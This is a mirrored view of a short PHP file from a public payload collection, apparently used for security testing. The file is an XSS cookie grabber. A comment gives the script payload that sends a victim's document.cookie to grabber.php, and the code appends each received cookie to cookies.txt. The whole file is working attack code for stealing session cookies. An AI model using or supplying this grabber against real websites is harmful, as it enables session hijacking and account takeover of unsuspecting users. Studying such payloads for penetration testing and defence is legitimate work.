mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-20 19:36:11 +00:00
11 lines
260 B
PHP
11 lines
260 B
PHP
|
<?php
|
||
|
// How to use it
|
||
|
# <script>document.location='http://localhost/XSS/grabber.php?c=' + document.cookie</script>
|
||
|
|
||
|
// Write the cookie in a file
|
||
|
$cookie = $_GET['c'];
|
||
|
$fp = fopen('cookies.txt', 'a+');
|
||
|
fwrite($fp, 'Cookie:' .$cookie.'\r\n');
|
||
|
fclose($fp);
|
||
|
|
||
|
?>
|